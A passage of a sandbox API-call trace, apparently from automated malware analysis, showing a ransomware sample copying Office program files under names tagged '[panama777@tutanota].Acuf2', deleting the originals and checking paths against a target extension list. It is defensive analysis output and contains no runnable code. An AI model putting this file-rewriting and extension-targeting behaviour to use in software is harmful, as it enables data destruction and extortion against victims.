	[0269.531] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.531] SetEndOfFile (hFile=0x38c) returned 1
	[0269.932] CloseHandle (hObject=0x38c) returned 1
	[0269.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0270.165] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.hxs")) returned 1
	[0270.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59
	[0270.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59
	[0270.166] lstrlenW (lpString=".doc") returned 4
	[0270.166] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0270.166] lstrlenW (lpString=".docx") returned 5
	[0270.166] lstrcmpiW (lpString1=".docx", lpString2="J.HXS") returned -1
	[0270.166] lstrlenW (lpString=".pdf") returned 4
	[0270.166] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0270.166] lstrlenW (lpString=".xls") returned 4
	[0270.166] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0270.166] lstrlenW (lpString=".xlsx") returned 5
	[0270.166] lstrcmpiW (lpString1=".xlsx", lpString2="J.HXS") returned -1
	[0270.166] lstrlenW (lpString=".ppt") returned 4
	[0270.166] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0270.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59
	[0270.166] lstrlenW (lpString=".zip") returned 4
	[0270.166] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0270.166] lstrlenW (lpString=".rar") returned 4
	[0270.166] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0270.166] lstrlenW (lpString=".bz2") returned 4
	[0270.166] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
	[0270.166] lstrlenW (lpString=".7z") returned 3
	[0270.166] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0270.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59
	[0270.166] lstrlenW (lpString=".dbf") returned 4
	[0270.166] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0270.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59
	[0270.167] lstrlenW (lpString=".1cd") returned 4
	[0270.167] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0270.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59
	[0270.167] lstrlenW (lpString=".jpg") returned 4
	[0270.167] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0270.184] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0270.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60
	[0270.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60
	[0270.211] lstrlenW (lpString=".doc") returned 4
	[0270.211] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0270.211] lstrlenW (lpString=".docx") returned 5
	[0270.211] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1
	[0270.211] lstrlenW (lpString=".pdf") returned 4
	[0270.211] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0270.211] lstrlenW (lpString=".xls") returned 4
	[0270.211] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0270.211] lstrlenW (lpString=".xlsx") returned 5
	[0270.212] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1
	[0270.212] lstrlenW (lpString=".ppt") returned 4
	[0270.212] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0270.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60
	[0270.212] lstrlenW (lpString=".zip") returned 4
	[0270.212] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0270.212] lstrlenW (lpString=".rar") returned 4
	[0270.212] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0270.212] lstrlenW (lpString=".bz2") returned 4
	[0270.212] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0270.212] lstrlenW (lpString=".7z") returned 3
	[0270.212] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0270.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60
	[0270.212] lstrlenW (lpString=".dbf") returned 4
	[0270.212] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0270.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60
	[0270.212] lstrlenW (lpString=".1cd") returned 4
	[0270.212] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0270.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60
	[0270.212] lstrlenW (lpString=".jpg") returned 4
	[0270.212] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0270.213] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=37760) returned 1
	[0270.213] CloseHandle (hObject=0x29c) returned 1
	[0270.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xllex.dll")) returned 0x20
	[0270.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xllex.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0270.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xllex.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0270.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57
	[0270.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57
	[0270.213] lstrlenW (lpString=".doc") returned 4
	[0270.213] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0270.213] lstrlenW (lpString=".docx") returned 5
	[0270.213] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1
	[0270.213] lstrlenW (lpString=".pdf") returned 4
	[0270.213] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0270.213] lstrlenW (lpString=".xls") returned 4
	[0270.213] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0270.213] lstrlenW (lpString=".xlsx") returned 5
	[0270.213] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1
	[0270.213] lstrlenW (lpString=".ppt") returned 4
	[0270.213] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0270.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57
	[0270.213] lstrlenW (lpString=".zip") returned 4
	[0270.213] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0270.214] lstrlenW (lpString=".rar") returned 4
	[0270.214] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0270.214] lstrlenW (lpString=".bz2") returned 4
	[0270.214] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0270.214] lstrlenW (lpString=".7z") returned 3
	[0270.214] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0270.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57
	[0270.214] lstrlenW (lpString=".dbf") returned 4
	[0270.214] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0270.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57
	[0270.214] lstrlenW (lpString=".1cd") returned 4
	[0270.214] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0270.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57
	[0270.214] lstrlenW (lpString=".jpg") returned 4
	[0270.214] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0270.216] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.216] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.idx_dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x270
	[0270.217] GetLastError () returned 0x0
	[0270.217] ReadFile (in: hFile=0x29c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x3180, lpOverlapped=0x0) returned 1
	[0270.219] WriteFile (in: hFile=0x270, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x3190, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x3190, lpOverlapped=0x0) returned 1
	[0270.220] ReadFile (in: hFile=0x29c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0270.220] WriteFile (in: hFile=0x270, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xfc, lpOverlapped=0x0) returned 1
	[0270.220] SetEndOfFile (hFile=0x270) returned 1
	[0270.220] CloseHandle (hObject=0x270) returned 1
	[0270.220] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.220] SetEndOfFile (hFile=0x29c) returned 1
	[0270.223] CloseHandle (hObject=0x29c) returned 1
	[0270.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0270.223] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.idx_dll")) returned 1
	[0270.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68
	[0270.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68
	[0270.223] lstrlenW (lpString=".doc") returned 4
	[0270.223] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1
	[0270.223] lstrlenW (lpString=".docx") returned 5
	[0270.223] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1
	[0270.223] lstrlenW (lpString=".pdf") returned 4
	[0270.223] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1
	[0270.223] lstrlenW (lpString=".xls") returned 4
	[0270.223] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1
	[0270.223] lstrlenW (lpString=".xlsx") returned 5
	[0270.223] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1
	[0270.223] lstrlenW (lpString=".ppt") returned 4
	[0270.223] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1
	[0270.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68
	[0270.223] lstrlenW (lpString=".zip") returned 4
	[0270.223] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1
	[0270.224] lstrlenW (lpString=".rar") returned 4
	[0270.224] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1
	[0270.224] lstrlenW (lpString=".bz2") returned 4
	[0270.224] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1
	[0270.224] lstrlenW (lpString=".7z") returned 3
	[0270.224] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0270.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68
	[0270.224] lstrlenW (lpString=".dbf") returned 4
	[0270.224] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1
	[0270.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68
	[0270.224] lstrlenW (lpString=".1cd") returned 4
	[0270.224] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1
	[0270.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68
	[0270.224] lstrlenW (lpString=".jpg") returned 4
	[0270.224] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1
	[0270.225] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.225] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0271.548] GetLastError () returned 0x0
	[0271.548] ReadFile (in: hFile=0x29c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0xaa26, lpOverlapped=0x0) returned 1
	[0271.576] WriteFile (in: hFile=0x218, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xaa30, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xaa30, lpOverlapped=0x0) returned 1
	[0271.577] ReadFile (in: hFile=0x29c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.577] WriteFile (in: hFile=0x218, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xe2, lpOverlapped=0x0) returned 1
	[0271.578] SetEndOfFile (hFile=0x218) returned 1
	[0271.578] CloseHandle (hObject=0x218) returned 1
	[0271.578] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.578] SetEndOfFile (hFile=0x29c) returned 1
	[0271.581] CloseHandle (hObject=0x29c) returned 1
	[0271.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.581] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl")) returned 1
	[0271.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55
	[0271.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55
	[0271.582] lstrlenW (lpString=".doc") returned 4
	[0271.582] lstrcmpiW (lpString1=".doc", lpString2=".ACL") returned 1
	[0271.582] lstrlenW (lpString=".docx") returned 5
	[0271.582] lstrcmpiW (lpString1=".docx", lpString2="O.ACL") returned -1
	[0271.582] lstrlenW (lpString=".pdf") returned 4
	[0271.582] lstrcmpiW (lpString1=".pdf", lpString2=".ACL") returned 1
	[0271.582] lstrlenW (lpString=".xls") returned 4
	[0271.582] lstrcmpiW (lpString1=".xls", lpString2=".ACL") returned 1
	[0271.582] lstrlenW (lpString=".xlsx") returned 5
	[0271.582] lstrcmpiW (lpString1=".xlsx", lpString2="O.ACL") returned -1
	[0271.582] lstrlenW (lpString=".ppt") returned 4
	[0271.582] lstrcmpiW (lpString1=".ppt", lpString2=".ACL") returned 1
	[0271.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55
	[0271.582] lstrlenW (lpString=".zip") returned 4
	[0271.582] lstrcmpiW (lpString1=".zip", lpString2=".ACL") returned 1
	[0271.582] lstrlenW (lpString=".rar") returned 4
	[0271.582] lstrcmpiW (lpString1=".rar", lpString2=".ACL") returned 1
	[0271.582] lstrlenW (lpString=".bz2") returned 4
	[0271.582] lstrcmpiW (lpString1=".bz2", lpString2=".ACL") returned 1
	[0271.582] lstrlenW (lpString=".7z") returned 3
	[0271.583] lstrcmpiW (lpString1=".7z", lpString2="ACL") returned -1
	[0271.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55
	[0271.583] lstrlenW (lpString=".dbf") returned 4
	[0271.583] lstrcmpiW (lpString1=".dbf", lpString2=".ACL") returned 1
	[0271.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55
	[0271.583] lstrlenW (lpString=".1cd") returned 4
	[0271.583] lstrcmpiW (lpString1=".1cd", lpString2=".ACL") returned -1
	[0271.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55
	[0271.583] lstrlenW (lpString=".jpg") returned 4
	[0271.583] lstrcmpiW (lpString1=".jpg", lpString2=".ACL") returned 1
	[0271.654] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0271.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65
	[0271.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65
	[0271.654] lstrlenW (lpString=".doc") returned 4
	[0271.654] lstrcmpiW (lpString1=".doc", lpString2="CCDU") returned -1
	[0271.654] lstrlenW (lpString=".docx") returned 5
	[0271.654] lstrcmpiW (lpString1=".docx", lpString2="ACCDU") returned -1
	[0271.654] lstrlenW (lpString=".pdf") returned 4
	[0271.654] lstrcmpiW (lpString1=".pdf", lpString2="CCDU") returned -1
	[0271.654] lstrlenW (lpString=".xls") returned 4
	[0271.654] lstrcmpiW (lpString1=".xls", lpString2="CCDU") returned -1
	[0271.654] lstrlenW (lpString=".xlsx") returned 5
	[0271.654] lstrcmpiW (lpString1=".xlsx", lpString2="ACCDU") returned -1
	[0271.654] lstrlenW (lpString=".ppt") returned 4
	[0271.654] lstrcmpiW (lpString1=".ppt", lpString2="CCDU") returned -1
	[0271.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65
	[0271.655] lstrlenW (lpString=".zip") returned 4
	[0271.655] lstrcmpiW (lpString1=".zip", lpString2="CCDU") returned -1
	[0271.655] lstrlenW (lpString=".rar") returned 4
	[0271.655] lstrcmpiW (lpString1=".rar", lpString2="CCDU") returned -1
	[0271.655] lstrlenW (lpString=".bz2") returned 4
	[0271.655] lstrcmpiW (lpString1=".bz2", lpString2="CCDU") returned -1
	[0271.655] lstrlenW (lpString=".7z") returned 3
	[0271.655] lstrcmpiW (lpString1=".7z", lpString2="CDU") returned -1
	[0271.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65
	[0271.655] lstrlenW (lpString=".dbf") returned 4
	[0271.655] lstrcmpiW (lpString1=".dbf", lpString2="CCDU") returned -1
	[0271.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65
	[0271.655] lstrlenW (lpString=".1cd") returned 4
	[0271.655] lstrcmpiW (lpString1=".1cd", lpString2="CCDU") returned -1
	[0271.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65
	[0271.655] lstrlenW (lpString=".jpg") returned 4
	[0271.655] lstrcmpiW (lpString1=".jpg", lpString2="CCDU") returned -1
	[0271.662] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.662] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\faxext.ecf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0271.663] GetLastError () returned 0x0
	[0271.663] ReadFile (in: hFile=0x328, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x33e, lpOverlapped=0x0) returned 1
	[0271.664] WriteFile (in: hFile=0x358, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x340, lpOverlapped=0x0) returned 1
	[0271.665] ReadFile (in: hFile=0x328, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.665] WriteFile (in: hFile=0x358, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0271.665] SetEndOfFile (hFile=0x358) returned 1
	[0271.665] CloseHandle (hObject=0x358) returned 1
	[0271.665] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.665] SetEndOfFile (hFile=0x328) returned 1
	[0271.667] CloseHandle (hObject=0x328) returned 1
	[0271.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.668] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\faxext.ecf")) returned 1
	[0271.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60
	[0271.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60
	[0271.668] lstrlenW (lpString=".doc") returned 4
	[0271.668] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1
	[0271.668] lstrlenW (lpString=".docx") returned 5
	[0271.668] lstrcmpiW (lpString1=".docx", lpString2="T.ECF") returned -1
	[0271.668] lstrlenW (lpString=".pdf") returned 4
	[0271.668] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1
	[0271.668] lstrlenW (lpString=".xls") returned 4
	[0271.668] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1
	[0271.668] lstrlenW (lpString=".xlsx") returned 5
	[0271.668] lstrcmpiW (lpString1=".xlsx", lpString2="T.ECF") returned -1
	[0271.668] lstrlenW (lpString=".ppt") returned 4
	[0271.668] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1
	[0271.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60
	[0271.668] lstrlenW (lpString=".zip") returned 4
	[0271.668] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1
	[0271.668] lstrlenW (lpString=".rar") returned 4
	[0271.668] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1
	[0271.668] lstrlenW (lpString=".bz2") returned 4
	[0271.668] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1
	[0271.668] lstrlenW (lpString=".7z") returned 3
	[0271.668] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1
	[0271.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60
	[0271.669] lstrlenW (lpString=".dbf") returned 4
	[0271.669] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1
	[0271.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60
	[0271.669] lstrlenW (lpString=".1cd") returned 4
	[0271.669] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1
	[0271.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60
	[0271.669] lstrlenW (lpString=".jpg") returned 4
	[0271.669] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1
	[0271.669] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=7168) returned 1
	[0271.669] CloseHandle (hObject=0x328) returned 1
	[0271.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.dll")) returned 0x20
